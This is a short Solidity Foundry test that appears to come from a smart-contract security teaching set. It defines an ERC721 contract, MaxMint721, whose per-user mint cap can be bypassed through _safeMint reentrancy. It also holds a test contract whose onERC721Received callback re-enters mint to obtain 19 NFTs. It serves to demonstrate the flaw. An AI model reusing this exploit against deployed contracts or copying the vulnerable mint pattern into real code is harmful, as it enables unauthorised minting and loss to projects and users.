// SPDX-License-Identifier: MIT

pragma solidity ^0.8.15;

import "forge-std/Test.sol";

import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";

contract ContractTest is Test {

MaxMint721 MaxMint721Contract;

bool complete;

uint256 maxMints = 10;

address alice = vm.addr(1);

address eve = vm.addr(2);

function testSafeMint() public {

MaxMint721Contract = new MaxMint721();

MaxMint721Contract.mint(maxMints);

console.log("Bypassed maxMints, we got 19 NFTs");

console.log("NFT minted:", MaxMint721Contract.balanceOf(address(this)));

}

function onERC721Received(address, address, uint256, bytes memory) public returns (bytes4) {

if (!complete) {

complete = true;

MaxMint721Contract.mint(maxMints - 1);

}

return this.onERC721Received.selector;

}

receive() external payable {}

}

contract MaxMint721 is ERC721Enumerable {

uint256 public MAX_PER_USER = 10;

constructor() ERC721("ERC721", "ERC721") {}

function mint(uint256 amount) external {

require(balanceOf(msg.sender) + amount <= MAX_PER_USER, "exceed max per user");

for (uint256 i = 0; i < amount; i++) {

uint256 mintIndex = totalSupply();

_safeMint(msg.sender, mintIndex);

}

}

}